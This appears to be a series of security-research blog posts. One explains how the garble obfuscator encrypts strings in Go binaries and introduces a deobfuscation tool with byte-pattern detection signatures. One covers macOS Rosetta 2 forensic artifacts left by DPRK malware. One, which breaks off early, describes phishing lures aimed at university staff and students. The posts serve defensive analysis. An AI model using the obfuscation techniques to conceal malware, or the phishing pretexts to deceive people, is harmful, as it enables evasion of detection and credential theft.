} ...

Figure 3: Swap transformation implementation

The transformation begins by generating an even number of random swap positions, which is determined based on the data length plus a random number of additional positions (limited to half the data length). The compiler then randomly generates a list of random swap positions with this length.

The core obfuscation process operates by iterating through pairs of positions in reverse order, performing both a swap operation and encryption on each pair. For each iteration, it generates a position-dependent local encryption key by combining the iteration index, the XOR result of the current position pair, and a random shift key. This local key is then used to encrypt the swapped bytes with a randomly selected reversible operator.

Figure 4 shows the decompiled code produced by IDA of a decrypting subroutine of the swap transformation.

Figure 4: Decompiled code of a swap transformation decrypting subroutine

Shuffle Transformation

The shuffle transformation is the most complicated of the three stack transformation types. Here, garble applies its obfuscation by encrypting the original string with random keys, interleaving the encrypted data with its keys, and scattering the encrypted data and keys throughout the final output. Figure 5 shows the implementation from the garble repository.

// Generate a random key with the same length as the original string key := make([]byte, len(data)) obfRand.Read(key) // Constants for the index key size bounds const ( minIdxKeySize = 2 maxIdxKeySize = 16 ) // Initialize index key size to minimum value idxKeySize := minIdxKeySize // Potentially increase index key size based on input data length if tmp := obfRand.Intn(len(data)); tmp > idxKeySize { idxKeySize = tmp } // Cap index key size at maximum value if idxKeySize > maxIdxKeySize { idxKeySize = maxIdxKeySize } // Generate a secondary key (index key) for index scrambling idxKey := make([]byte, idxKeySize) obfRand.Read(idxKey) // Create a buffer that will hold both the encrypted data and the key fullData := make([]byte, len(data)+len(key)) // Generate random operators for each position in the full data buffer operators := make([]token.Token, len(fullData)) for i := range operators { operators[i] = randOperator(obfRand) } // Encrypt data and store it with its corresponding key // First half contains encrypted data, second half contains the key for i, b := range key { fullData[i], fullData[i+len(data)] = evalOperator(operators[i], data[i], b), b } // Generate a random permutation of indices shuffledIdxs := obfRand.Perm(len(fullData)) // Apply the permutation to scatter encrypted data and keys shuffledFullData := make([]byte, len(fullData)) for i, b := range fullData { shuffledFullData[shuffledIdxs[i]] = b } // Prepare AST expressions for decryption args := []ast.Expr{ast.NewIdent("data")} for i := range data { // Select a random byte from the index key keyIdx := obfRand.Intn(idxKeySize) k := int(idxKey[keyIdx]) // Build AST expression for decryption: // 1. Uses XOR with index key to find the real positions of data and key // 2. Applies reverse operator to decrypt the data using the corresponding key args = append(args, operatorToReversedBinaryExpr( operators[i], // Access encrypted data using XOR-ed index ah.IndexExpr("fullData", &ast.BinaryExpr{X: ah.IntLit(shuffledIdxs[i] ^ k), Op: token.XOR, Y: ah.CallExprByName("int", ah.IndexExpr("idxKey", ah.IntLit(keyIdx)))}), // Access corresponding key using XOR-ed index ah.IndexExpr("fullData", &ast.BinaryExpr{X: ah.IntLit(shuffledIdxs[len(data)+i] ^ k), Op: token.XOR, Y: ah.CallExprByName("int", ah.IndexExpr("idxKey", ah.IntLit(keyIdx)))}), )) }

Figure 5: Shuffle transformation implementation

Garble begins by generating two types of keys: a primary key of equal length to the input string for data encryption and a smaller index key (between two and 16 bytes) for index scrambling. The transformation process then occurs in the following four steps:

1. Initial encryption: Each byte of the input data is encrypted using a randomly generated reversible operator with its corresponding key byte.

2. Data interleaving: The encrypted data and key bytes are combined into a single buffer, with encrypted data in the first half and corresponding keys in the second half.

3. Index permutation: The key-data buffer undergoes a random permutation, scattering both the encrypted data and keys throughout the buffer.

4. Index encryption: Access to the permuted data is further obfuscated by XOR-ing the permuted indices with randomly selected bytes from the index key.

Figure 6 shows the decompiled code produced by IDA of a decrypting subroutine of the shuffle transformation.

Figure 6: Decompiled code of a shuffle transformation decrypting subroutine

Seed Transformation

The seed transformation implements a chained encoding scheme where each byte’s encryption depends on the previous encryptions through a continuously updated seed value. Figure 7 shows the implementation from the garble repository.

// Generate random initial seed value seed := byte(obfRand.Uint32()) // Store original seed for later use in decryption originalSeed := seed // Select a random reversible operator for encryption op := randOperator(obfRand) var callExpr *ast.CallExpr // Encrypt each byte while building chain of function calls for i, b := range data { // Encrypt current byte using current seed value encB := evalOperator(op, b, seed) // Update seed by adding encrypted byte seed += encB if i == 0 { // Start function call chain with first encrypted byte callExpr = ah.CallExpr(ast.NewIdent("fnc"), ah.IntLit(int(encB))) } else { // Add subsequent encrypted bytes to function call chain callExpr = ah.CallExpr(callExpr, ah.IntLit(int(encB))) } } ...

Figure 7: Seed transformation implementation

Garble begins by randomly generating a seed value to be used for encryption. As the compiler iterates through the input string, each byte is encrypted by applying the random operator with the current seed, and the seed is updated by adding the encrypted byte. In this seed transformation, each byte’s encryption depends on the result of the previous one, creating a chain of dependencies through the continuously updated seed.

In the decryption setup, as shown in the IDA decompiled code in Figure 8, the obfuscator generates a chain of calls to a decrypting function. For each encrypted byte starting with the first one, the decrypting function applies the operator to decrypt it with the current seed and updates the seed by adding the encrypted byte to it. Because of this setup, subroutines of this transformation type are easily recognizable in the decompiler and disassembly views due to the multiple function calls it makes in the decryption process.

Figure 8: Decompiled code of a seed transformation decrypting subroutine

Figure 9: Disassembled code of a seed transformation decrypting subroutine

Split Transformation

The split transformation is one of the more sophisticated string transformation techniques by garble, implementing a multilayered approach that combines data fragmentation, encryption, and control flow manipulation. Figure 10 shows the implementation from the garble repository.

func (split) obfuscate(obfRand *mathrand.Rand, data []byte) *ast.BlockStmt { var chunks [][]byte // For small input, split into single bytes // This ensures even small payloads get sufficient obfuscation if len(data)/maxChunkSize < minCaseCount { chunks = splitIntoOneByteChunks(data) } else { chunks = splitIntoRandomChunks(obfRand, data) } // Generate random indexes for all chunks plus two special cases: // - One for the final decryption operation // - One for the exit condition indexes := obfRand.Perm(len(chunks) + 2) // Initialize the decryption key with a random value decryptKeyInitial := byte(obfRand.Uint32()) decryptKey := decryptKeyInitial // Calculate the final decryption key by XORing it with position-dependent values for i, index := range indexes[:len(indexes)-1] { decryptKey ^= byte(index * i) } // Select a random reversible operator for encryption op := randOperator(obfRand) // Encrypt all data chunks using the selected operator and key encryptChunks(chunks, op, decryptKey) // Get special indexes for decrypt and exit states decryptIndex := indexes[len(indexes)-2] exitIndex := indexes[len(indexes)-1] // Create the decrypt case that reassembles the data switchCases := []ast.Stmt{&ast.CaseClause{ List: []ast.Expr{ah.IntLit(decryptIndex)}, Body: shuffleStmts(obfRand, // Exit case: Set next state to exit &ast.AssignStmt{ Lhs: []ast.Expr{ast.NewIdent("i")}, Tok: token.ASSIGN, Rhs: []ast.Expr{ah.IntLit(exitIndex)}, }, // Iterate through the assembled data and decrypt each byte &ast.RangeStmt{ Key: ast.NewIdent("y"), Tok: token.DEFINE, X: ast.NewIdent("data"), Body: ah.BlockStmt(&ast.AssignStmt{ Lhs: []ast.Expr{ah.IndexExpr("data", ast.NewIdent("y"))}, Tok: token.ASSIGN, Rhs: []ast.Expr{ // Apply the reverse of the encryption operation operatorToReversedBinaryExpr( op, ah.IndexExpr("data", ast.NewIdent("y")), // XOR with position-dependent key ah.CallExpr(ast.NewIdent("byte"), &ast.BinaryExpr{ X: ast.NewIdent("decryptKey"), Op: token.XOR, Y: ast.NewIdent("y"), }), ), }, }), }, ), }} // Create switch cases for each chunk of data for i := range chunks { index := indexes[i] nextIndex := indexes[i+1] chunk := chunks[i] appendCallExpr := &ast.CallExpr{ Fun: ast.NewIdent("append"), Args: []ast.Expr{ast.NewIdent("data")}, } ... // Create switch case for this chunk switchCases = append(switchCases, &ast.CaseClause{ List: []ast.Expr{ah.IntLit(index)}, Body: shuffleStmts(obfRand, // Set next state &ast.AssignStmt{ Lhs: []ast.Expr{ast.NewIdent("i")}, Tok: token.ASSIGN, Rhs: []ast.Expr{ah.IntLit(nextIndex)}, }, // Append this chunk to the collected data &ast.AssignStmt{ Lhs: []ast.Expr{ast.NewIdent("data")}, Tok: token.ASSIGN, Rhs: []ast.Expr{appendCallExpr}, }, ), }) } // Final block creates the state machine loop structure return ah.BlockStmt( ... // Update decrypt key based on current state and counter Body: ah.BlockStmt( &ast.AssignStmt{ Lhs: []ast.Expr{ast.NewIdent("decryptKey")}, Tok: token.XOR_ASSIGN, Rhs: []ast.Expr{ &ast.BinaryExpr{ X: ast.NewIdent("i"), Op: token.MUL, Y: ast.NewIdent("counter"), }, }, }, // Main switch statement as the core of the state machine &ast.SwitchStmt{ Tag: ast.NewIdent("i"), Body: ah.BlockStmt(shuffleStmts(obfRand, switchCases...)...), }),

Figure 10: Split transformation implementation

The transformation begins by splitting the input string into chunks of varying sizes. Shorter strings are broken into individual bytes, while longer strings are divided into random-sized chunks of up to four bytes.

The transformation then constructs a decrypting mechanism using a switch-based control flow pattern. Rather than processing chunks sequentially, the compiler generates a randomized execution order through a series of switch cases. Each case handles a specific chunk of data, encrypting it with a position-dependent key derived from both the chunk's position and a global encryption key.

In the decryption setup, as shown in the IDA decompiled code in Figure 11, the obfuscator first collects the encrypted data by going through each chunk in their corresponding order. In the final switch case, the compiler performs a final pass to XOR-decrypt the encrypted buffer. This pass uses a continuously updated key that depends on both the byte position and the execution path taken through the switch statement to decrypt each byte.

Figure 11: Decompiled code of a split transformation decrypting subroutine

GoStringUngarbler: Automatic String Deobfuscator

To systematically approach string decryption automation, we first consider how this can be done manually. From our experience, the most efficient manual approach leverages dynamic analysis through a debugger. Upon finding a decrypting subroutine, we can manipulate the program counter to target the subroutine's entry point, execute until the ret instruction, and extract the decrypted string from the return buffer.

To perform this process automatically, the primary challenge lies in identifying all decrypting subroutines introduced by garble's transformations. Our analysis revealed a consistent pattern—decrypted strings are always processed through Go's runtime_slicebytetostring function before being returned by the decrypting subroutine. This observation provides a reliable anchor point, allowing us to construct regular expression (regex) patterns to automatically detect these subroutines.

String Encryption Subroutine Patterns

Through analyzing the disassembled code, we have identified consistent instruction patterns for each string transformation variant. For each transformation on 64-bit binaries, rbx is used to store the decrypted string pointer, and rcx is assigned with the length of the decrypted string. The main difference between the transformations is the way these two registers are populated before the call to runtime_slicebytetostring.

# Go compiler v1.21 -> v1.23 (x64) # Stack Transformation Epilogue Pattern 48 8D 5C ?? ?? lea rbx, [rsp+<num>] # decrypted string pointer B9 ?? ?? ?? ?? mov ecx, <num> # decrypted string length E8 ?? ?? ?? ?? call runtime_slicebytetostring 48 83 ?? ?? add rsp, <num> # epilogue clean up 5D pop rbp C3 retn --------------------------------------- # Split Transformation Epilogue Pattern 31 C0 xor eax, eax 48 89 ?? mov rbx, <reg> # decrypted string pointer 48 89 ?? mov rcx, <reg> # decrypted string length E8 ?? ?? ?? ?? call runtime_slicebytetostring 48 83 ?? ?? add rsp, <num> 5D pop rbp C3 retn --------------------------------------- # Seed Transformation Epilogue Pattern 48 8B ?? mov rbx, [<reg>] # decrypted string pointer 48 8B ?? ?? mov rcx, [<reg>+8] # decrypted string length 31 C0 xor eax, eax E8 ?? ?? ?? ?? call runtime_slicebytetostring 48 83 ?? ?? add rsp, <num> 5D pop rbp C3 retn

Figure 12: Epilogue patterns of garble’s decrypting subroutines

Through the assembly patterns in Figure 12, we develop regex patterns corresponding to each of garble's transformation types, which allows us to automatically identify string decrypting subroutines with high precision.

To extract the decrypted string, we must find the subroutine’s prologue and perform instruction-level emulation from this entry point until runtime_slicebytestring is called. For binaries of Go versions v1.21 to v1.23, we observe two main patterns of instructions in the subroutine prologue that perform the Go stack check.

# Go prologue pattern 1 49 3B ?? ?? cmp rsp, [<reg>+<num>] 0F 86 ?? ?? ?? ?? jbe <offset> ------------------------ # Go prologue pattern 2 49 3B ?? ?? cmp rsp, [<reg>+<num>] 76 ?? jbe short <offset>

Figure 13: Prologue instruction patterns of Go subroutines

These instruction patterns in the Go prologue serve as reliable entry point markers for emulation. The implementation in GoStringUngarbler leverages these structural patterns to establish reliable execution contexts for the unicorn emulation engine, ensuring accurate string recovery across various garble string transformations.

Figure 14 shows the output of our automated extraction framework, where GoStringUngarbler is able to identify and emulate all decrypting subroutines.

Figure 14: GoStringUngarbler’s string extraction output

From these instruction patterns, we have derived a YARA rule for detecting samples that are obfuscated with garble’s literal transformation. The rule can be found in Mandiant's GitHub repository.

Deobfuscation: Subroutine Patching

While extracting obfuscated strings can aid malware detection through signature-based analysis, this alone is not useful for reverse engineers conducting static analysis. To aid reverse engineering efforts, we've implemented a binary deobfuscation approach leveraging the emulation results. 

Although developing an IDA plugin would have streamlined our development process, we recognize that not all malware analysts have access to, or prefer to use, IDA Pro. To make our tool more accessible, we developed GoStringUngarbler as a standalone Python utility to process binaries protected by garble. The tool can deobfuscate and produce functionally identical executables with recovered strings stored in plain text, improving both reverse engineering analysis and malware detection workflows.

For each identified decrypting subroutine, we implement a strategic patching methodology, replacing the original code with an optimized stub while padding the remaining subroutine space with INT3 instructions (Figure 15).

xor eax, eax ; clear return register lea rbx, <string addr> ; Load effective address of decrypted string mov ecx, <string len> ; populate string length call runtime_slicebytetostring ; convert slice to Go string ret ; return the decrypted string

Figure 15: Function stub to patch over garble’s decrypting subroutines

Initially, we considered storing recovered strings within an existing binary section for efficient referencing from the patched subroutines. However, after examining obfuscated binaries, we found that there is not enough space within existing sections to consistently accommodate the deobfuscated strings. On the other hand, adding a new section, while feasible, would introduce unnecessary complexity to our tool.

Instead, we opt for a more elegant space utilization strategy by leveraging the inherent characteristics of garble's string transformations. In our tool, we implement in-place string storage by writing the decrypted string directly after the patched stub, capitalizing on the guaranteed available space from decrypting routines:

1. Stack transformation: The decrypting subroutine stores and processes encrypted strings on the stack, providing adequate space through their data manipulation instructions. The instructions originally used for pushing encrypted data onto the stack create a natural storage space for the decrypted string.

2. Seed transformation: For each character, the decrypting subroutine requires a call instruction to decrypt it and update the seed. This is more than enough space to store the decrypted bytes.

3. Split transformation: The decrypting subroutine contains multiple switch cases to handle fragmented data recovery and decryption. These extensive instruction sequences guarantee sufficient space for the decrypted string data.

Figure 16 and Figure 17 show the disassembled and decompiled output of our patching framework, where GoStringUngarbler has deobfuscated a decrypting subroutine to display the recovered original string.

Figure 16: Disassembly view of a deobfuscated decrypting subroutine

Figure 17: Decompiled view of a deobfuscated decrypting subroutine

Downloading GoStringUngarbler

GoStringUngarbler is now available as an open-source tool in Mandiant's GitHub repository. 

The installation requires Python3 and Python dependencies from the requirements.txt file.

Future Work

Deobfuscating binaries generated by garble presents a specific challenge—its dependence on the Go compiler for obfuscation means that the calling convention can evolve between Go versions. This change can potentially invalidate the regular expression patterns used in our deobfuscation process. To mitigate this, we've designed GoStringUngarbler with a modular plugin architecture. This allows for new plugins to be easily added with updated regular expressions to handle variations introduced by new Go releases. This design ensures the tool's long-term adaptability to future changes in garble’s output.

Currently, GoStringUngarbler primarily supports garble-obfuscated PE and ELF binaries compiled with Go versions 1.21 through 1.23. We are continuously working to expand this range as the Go compiler and garble are updated.

Acknowledgments

Special thanks to Nino Isakovic and Matt Williams for their review and continuous feedback throughout the development of GoStringUngarbler. Their insights and suggestions have been invaluable in shaping and refining the tool’s final implementation.

We are also grateful to the FLARE team members for their review of this blog post publication to ensure its technical accuracy and clarity.

Additional thanks to OALabs for their valuable insights from their initial research on garble’s string encryption.

Finally, we want to acknowledge the developers of garble for their outstanding work on this obfuscating compiler. Their contributions to the software protection field have greatly advanced both offensive and defensive security research on Go binary analysis.

Written by: Joshua Goddard

Executive Summary

• Rosetta 2 is Apple's translation technology for running x86-64 binaries on Apple Silicon (ARM64) macOS systems.

• Rosetta 2 translation creates a cache of Ahead-Of-Time (AOT) files that can serve as valuable forensic artifacts.

• Mandiant has observed sophisticated threat actors leveraging x86-64 compiled macOS malware, likely due to broader compatibility and relaxed execution policies compared to ARM64 binaries.

• Analysis of AOT files, combined with FSEvents and Unified Logs (with a custom profile), can assist in investigating macOS intrusions.

Introduction

Rosetta 2 (internally known on macOS as OAH) was introduced in macOS 11 (Big Sur) in 2020 to enable binaries compiled for x86-64 architectures to run on Apple Silicon (ARM64) architectures. Rosetta 2 translates signed and unsigned x86-64 binaries just-in-time or ahead-of-time at the point of execution. Mandiant has identified several new highly sophisticated macOS malware variants over the past year, notably compiled for x86-64 architecture. Mandiant assessed that this choice of architecture was most likely due to increased chances of compatibility on victim systems and more relaxed execution policies. Notably, macOS enforces stricter code signing requirements for ARM64 binaries compared to x86-64 binaries running under Rosetta 2, making unsigned ARM64 binaries more difficult to execute. Despite this, in the newly identified APT malware families observed by Mandiant over the past year, all were self-signed, likely to avoid other compensating security controls in place on macOS.

The Rosetta 2 Cache

When a x86-64 binary is executed on a system with Rosetta 2 installed, the Rosetta 2 Daemon process (oahd) checks if an ahead-of-time (AOT) file already exists for the binary within the Rosetta 2 cache directory on the Data volume at /var/db/oah/<UUID>/. The UUID value in this file path appears to be randomly generated on install or update. If an AOT file does not exist, one will be created by writing translation code to a .in_progress file and then renaming it to a .aot file of the same name as the original binary. The Rosetta 2 Daemon process then runs the translated binary.

The /var/db/oah directory and its children are protected and owned by the OAH Daemon user account _oahd. Interaction with these files by other user accounts is only possible if System Integrity Protection (SIP) is disabled, which requires booting into recovery mode.

The directories under /var/db/oah/<UUID>/ are binary UUID values that correspond to translated binaries. Specifically, these binary UUID values are SHA-256 hashes generated from a combination of the binary file path, the Mach-O header, timestamps (created, modified, and changed), size, and ownership information. If the same binary is executed with any of these attributes changed, a new Rosetta AOT cache directory and file is created. While the content of the binaries is not part of this hashing function, changing the content of a file on an APFS file system will update the changed timestamp, which effectively means content changes can cause the creation of a new binary UUID and AOT file. Ultimately, the mechanism is designed to be extremely sensitive to any changes to x86-64 binaries at the byte and file system levels to reduce the risk of AOT poisoning.

Figure 1: Sample Rosetta 2 cache directory structure and contents

The Rosetta 2 cache binary UUID directories and the AOT files they contain appear to persist until macOS system updates. System updates have been found to cause the deletion of the cache directory (the Random UUID directory). After the upgrade, a directory with a different UUID value is created, and new Binary UUID directories and AOT files are created upon first launch of x86-64 binaries thereafter.

Translation and Universal Binaries

When universal binaries (containing both x86-64 and ARM64 code) are executed by a x86-64 process running through Rosetta 2 translation, the x86-64 version of these binaries is executed, resulting in the creation of AOT files.

Figure 2: Overview of execution of universal binaries with X864-64 processes translated through Rosetta 2 versus ARM64 processes

In a Democratic People's Republic of Korea (DPRK) crypto heist investigation, Mandiant observed a x86-64 variant of the POOLRAT macOS backdoor being deployed and the attacker proceeding to execute universal system binaries including ping, chmod, sudo, id, and cat through the backdoor. This resulted in AOT files being created and provided evidence of attacker interaction on the system through the malware (Figure 5).

In some cases, the initial infection vector in macOS intrusions has involved legitimate x86-64 code that executes malware distributed as universal binaries. Because the initial x86-64 code runs under Rosetta 2, the x86-64 versions of malicious universal binaries are executed, leaving behind Rosetta 2 artifacts, including AOT files. In one case, a malicious Python 2 script led to the downloading and execution of a malicious universal binary. The Python 2 interpreter ran under Rosetta 2 since no ARM64 version was available, so the system executed the x86-64 version of the malicious universal binary, resulting in the creation of AOT files. Despite the attacker deleting the malicious binary later, we were able to analyze the AOT file to understand its functionality.

Unified Logs

The Rosetta 2 Daemon emits logs to the macOS Unified Log; however, the binary name values are marked as private. These values can be configured to be shown in the logs with a custom profile installed. Informational logs are recorded for AOT file lookups, when cached AOT files are available and utilized, and when translation occurs and completes. For binaries that are not configured to log to the Unified Log and are not launched interactively, in some cases this was found to be the only evidence of execution within the Unified Logs. Execution may be correlated with other supporting artifacts; however, this is not always possible.

0x21b1afc Info 0x0 1596 0 oahd: <private>(1880): Aot lookup request for <private> 0x21b1afc Info 0x0 1596 0 oahd: <private>(1880): Translating image <private> -> <private> 0x21b1afc Info 0x0 1596 0 oahd: <private>(1880): Translation finished for <private> 0x21b1afc Info 0x0 1596 0 oahd: <private>(1880): Aot lookup request for <private> 0x21b1afc Info 0x0 1596 0 oahd: <private>(1880): Using cached aot <private> -> <private>

Figure 3: macOS Unified Logs showing Rosetta lookups, using cached files, and translating with private data disabled (default)

0x2ec304 Info 0x0 668 0 oahd: my_binary (Re(34180): Aot lookup request for /Users/Mandiant/my_binary 0x2ec304 Info 0x0 668 0 oahd: my_binary (Re(34180): Translating image /Users/Mandiant/my_binary -> /var/db/oah/237823680d6bdb1e9663d60cca5851b63e79f6c 8e884ebacc5f285253c3826b8/1c65adbef01f45a7a07379621 b5800fc337fc9db90d8eb08baf84e5c533191d9/my_binary.in_progress 0x2ec304 Info 0x0 668 0 oahd: my_binary (Re(34180): Translation finished for /Users/Mandiant/my_binary 0x2ec304 Info 0x0 668 0 oahd: my_binary(34180): Aot lookup request for /Users/Mandiant/my_binary 0x2ec304 Info 0x0 668 0 oahd: my_binary(34180): Using cached aot /Users/Mandiant/my_binary -> /var/db/oah/237823680d6bdb1e9663d60cca5851b63e 79f6c8e884ebacc5f285253c3826b8/1c65adbef01f45a7 a07379621b5800fc337fc9db90d8eb08baf84e5c533191d9/my_binary.aot

Figure 4: macOS Unified Logs showing Rosetta lookups, using cached files, and translating with private data enabled (with custom profile installed)

FSEvents

FSEvents can be used to identify historical execution of x86-64 binaries even if Unified Logs or files in the Rosetta 2 Cache are not available or have been cleared. These records will show the creation of directories within the Rosetta 2 cache directory, the creation of .in_progress files, and then the renaming of the file to the AOT file, which will be named after the original binary.

private/var/db/oah/433955637247d22a05957b32fa7f08e0b2f022 ed40311775d461444ce17beadb/5660060629e3493074db75fba3 5cff449a366ea59b26af7d54c59779cdfac161 FolderEvent; FolderCreated; 35102230 private/var/db/oah/433955637247d22a05957b32fa7f08e0b2f022 ed40311775d461444ce17beadb/5660060629e3493074db75fba35 cff449a366ea59b26af7d54c59779cdfac161/ com.apple.systemsettings.cache.aot.in_progress FileEvent; Created;Renamed;Modified; 35102231 private/var/db/oah/433955637247d22a05957b32fa7f08e0b2f022 ed40311775d461444ce17beadb/5660060629e3493074db75fba35 cff449a366ea59b26af7d54c59779cdfac161/com.apple.systemsettings.cache.aot FileEvent; Renamed; 35102231 private/var/db/oah/433955637247d22a05957b32fa7f08e0b2f022 ed40311775d461444ce17beadb/31a32b61c112dae22363556599f 73f25fab17744eb0c51b8d0071c53bb878471 FolderEvent; FolderCreated; 35102223 private/var/db/oah/433955637247d22a05957b32fa7f08e0b2f022 ed40311775d461444ce17beadb/31a32b61c112dae22363556599 f73f25fab17744eb0c51b8d0071c53bb878471/sudo.aot.in_progress FileEvent; Created;Renamed;Modified; 35102224 private/var/db/oah/433955637247d22a05957b32fa7f08e0b2f022 ed40311775d461444ce17beadb/31a32b61c112dae22363556599 f73f25fab17744eb0c51b8d0071c53bb878471/sudo.aot FileEvent; Renamed; 35102224 private/var/db/oah/433955637247d22a05957b32fa7f08e0b2f022 ed40311775d461444ce17beadb/9d8b46ee31e24e4988f923ac2e5 23171b7868f20b671cbaeb39d8db6199f4629 FolderEvent; FolderCreated; 35102259 private/var/db/oah/433955637247d22a05957b32fa7f08e0b2f022 ed40311775d461444ce17beadb/9d8b46ee31e24e4988f923ac2e5 23171b7868f20b671cbaeb39d8db6199f4629/id.aot.in_progress FileEvent; Created;Renamed;Modified; 35102260 private/var/db/oah/433955637247d22a05957b32fa7f08e0b2f022 ed40311775d461444ce17beadb/9d8b46ee31e24e4988f923ac2e5 23171b7868f20b671cbaeb39d8db6199f4629/id.aot FileEvent; Renamed; 35102260 private/var/db/oah/433955637247d22a05957b32fa7f08e0b2f022 ed40311775d461444ce17beadb/fc9130581b8efed813de3826cfd 4bb34586b0872a0977efaa1d51f0861f564c9 FolderEvent; FolderCreated; 35102355 private/var/db/oah/433955637247d22a05957b32fa7f08e0b2f022 ed40311775d461444ce17beadb/fc9130581b8efed813de3826cfd 4bb34586b0872a0977efaa1d51f0861f564c9/chmod.aot.in_progress FileEvent; Created;Renamed;Modified; 35102356 private/var/db/oah/433955637247d22a05957b32fa7f08e0b2f022 ed40311775d461444ce17beadb/fc9130581b8efed813de3826cfd 4bb34586b0872a0977efaa1d51f0861f564c9/chmod.aot FileEvent; Renamed; 35102356 private/var/db/oah/433955637247d22a05957b32fa7f08e0b2f022 ed40311775d461444ce17beadb/c38ceae510d3b2a96bfa6f040fdf 7587121eb388f508c5d50f53efc40cf35dde FolderEvent; FolderCreated; 35102671 private/var/db/oah/433955637247d22a05957b32fa7f08e0b2f022 ed40311775d461444ce17beadb/c38ceae510d3b2a96bfa6f040fdf 7587121eb388f508c5d50f53efc40cf35dde/cat.aot.in_progress FileEvent; Created;Renamed;Modified; 35102672 private/var/db/oah/433955637247d22a05957b32fa7f08e0b2f022 ed40311775d461444ce17beadb/c38ceae510d3b2a96bfa6f040fdf 7587121eb388f508c5d50f53efc40cf35dde/cat.aot FileEvent; Renamed; 35102672

Figure 5: Decoded FSEvents records showing the translation of a x86-64 POOLRAT variant on macOS, and subsequent universal system binaries executed by the malware as x86-64

AOT File Analysis

The AOT files within the Rosetta 2 cache can provide valuable insight into historical evidence of execution of x86-64 binaries. In multiple cases over the past year, Mandiant identified macOS systems being the initial entry vector by APT groups targeting cryptocurrency organizations. In the majority of these cases, Mandiant identified evidence of the attackers deleting the malware on these systems within a few minutes of a cryptocurrency heist being perpetrated. However, the AOT files were left in place, likely due to the protection by SIP and the relative obscurity of this forensic artifact.

From a forensic perspective, the creation and modification timestamps on these AOT files provide evidence of the first time a specified binary was executed on the system with a unique combination of the attributes used to generate the SHA-256 hash. These timestamps can be corroborated with other artifacts related to binary execution where available (for example, Unified Logs or ExecPolicy, XProtect, and TCC Databases), and file system activity through FSEvents records, to build a more complete picture of infection and possible attacker activity if child processes were executed.

Where multiple AOT files exist for the same origin binary under different Binary UUID directories in the Rosetta 2 cache, and the content (file hashes) of those AOT files is the same, this is typically indicative of a change in file data sections, or more commonly, file system metadata only.

Mandiant has previously shown that AOT files can be analyzed and used for malware identification through correlation of symbols. AOT files are Mach-O binaries that contain x86-64 instructions that have been translated from the original ARM64 code. They contain jump-backs into the original binary and contain no API calls to reference. Certain functionality can be determined through reverse engineering of AOT files; however, no static data, including network-based indicators or configuration data, are typically recoverable. In one macOS downloader observed in a notable DPRK cryptocurrency heist, Mandiant observed developer file path strings as part of the basic Mach-O information contained within the AOT file. The original binary was not recovered due to the attacker deleting it after the heist, so this provided useful data points to support threat actor attribution and malware family assessment.

/Users/crown/Library/Developer/Xcode/DerivedData/ DownAndMemload-becawjfobisdcocirecqedzcixcf/Build/Intermediates.noindex/ DownAndMemload.build/Release/DownAndMemload.build/ Objects-normal/x86_64/main.o /Users/crown/Library/Developer/Xcode/DerivedData/ DownAndMemload-becawjfobisdcocirecqedzcixcf/Build/Intermediates.noindex/ DownAndMemload.build/Release/DownAndMemload.build/Objects-normal/ x86_64/queue.o /Volumes/Data/Development/DownAndMemload/DownAndMemload/ _g_szServerUrl _szgetpwuid _szsleep

Figure 6: Interesting strings from an AOT file related to a malicious DPRK downloader that was unrecoverable

In any case, determining malware functionality is more effective using the original complete binary instead of the AOT file, because the AOT file lacks much of the contextual information present in the original binary. This includes static data and complete Mach-O headers.

Poisoning AOT Files

Much has been written within the industry about the potential for the poisoning of the Rosetta 2 cache through modification or introduction of AOT files. Where SIP is disabled, this is a valid attack vector. Mandiant has not yet seen this technique in the wild; however, during hunting or investigation activities, it is advisable to be on the lookout for evidence of AOT poisoning. The best way to do this is by comparing the contents of the ARM64 AOT files with what would be expected based on the original x86-64 executable. This can be achieved by taking the original x86-64 executable and using it to generate a known-good AOT file, then comparing this to the AOT file in the cache. Discrepancies, particularly the presence of injected shellcode, could indicate AOT poisoning.

Conclusion

There are several forensic artifacts on macOS that may record historical evidence of binary execution. However, in cases of advanced intrusions with forensically aware attackers, original binaries being deleted, and no further security monitoring solutions, combining FSEvents, Unified Logs, and, crucially, residual AOT files on disk has provided the residual evidence of intrusion on a macOS system.

Whilst signed macOS ARM64 binaries may be the future, for now AOT files and the artifacts surrounding them should be reviewed in analysis of any suspected macOS intrusion and leveraged for hunting opportunities wherever possible.

The behavior identified in the cases presented here was identified on various versions of macOS between 13.5 and 14.7.2. Future or previous versions of macOS and Rosetta 2 may behave differently.

Acknowledgements

Special thanks to Matt Holley, Mohamed El-Banna, Robert Wallace, and Adrian Hernandez.

Written by: Ashley Pearson, Ryan Rath, Gabriel Simches, Brian Timberlake, Ryan Magaw, Jessica Wilbur

Overview

Beginning in August 2024, Mandiant observed a notable increase in phishing attacks targeting the education industry, specifically U.S.-based universities. A separate investigation conducted by the Google’s Workspace Trust and Safety team identified a long-term campaign spanning from at least October 2022, with a noticeable pattern of shared filenames, targeting thousands of educational institution users per month.

These attacks exploit trust within academic institutions to deceive students, faculty, and staff, and have been timed to coincide with key dates in the academic calendar. The beginning of the school year, with its influx of new and returning students combined with a barrage of administrative tasks, as well as financial aid deadlines, can create opportunities for attackers to carry out phishing attacks. In these investigations, three distinct campaigns have emerged, attempting to take advantage of these factors. 

In one campaign, attackers leveraged phishing campaigns utilizing compromised educational institutions to host Google Forms. At this time, Mandiant has observed at least 15 universities targeted in these phishing campaigns. In this case, the malicious forms were reported and subsequently removed. As such, at this time none of the phishing forms identified are currently active. Another campaign involved scraping university login pages and re-hosting them on the attacker-controlled infrastructure. Both campaigns exhibited tactics to obfuscate malicious activity while increasing their perceived legitimacy, ultimately to perform payment redirection attacks. These phishing methods employ various tactics to trick victims into revealing login credentials and financial information, including requests for school portal login verification, financial aid disbursement, refund verification, account deactivation, and urgent responses to campus medical inquiries.

Google takes steps to protect users from misuse of its products, and create an overall positive experience. However, awareness and education play a big role in staying secure online. To better protect yourself and others, be sure to report abuse.  

Case Study 1: Google Forms Phishing Campaign

The first observed campaign involved a two-pronged phishing campaign. Attackers distributed phishing emails that contained a link to a malicious Google Form. These emails and their respective forms were designed to mimic legitimate university communications, but requested sensitive information, including login credentials and financial details.

Figure 1: Example phishing email

Figure 2: Another example phishing email

The email is just the initial stage of the attack. While there are legitimate URLs contained within the phish, there is also a request to visit an external link to provide “urgent” information. This external link leads victims to a Google Form that has been tailored to the targeted university, including a color scheme in the school colors, a header with the logo or mascot, and references to the university name. Mandiant has observed the creation and staging of several different Google Forms, all with different methods employed to trick victims into providing sensitive information. In one instance, the social engineering pretext is that a student’s account is “associated with logins from two separate university portals”, a conflict which, if not resolved, will lead to interruption in service at both universities.

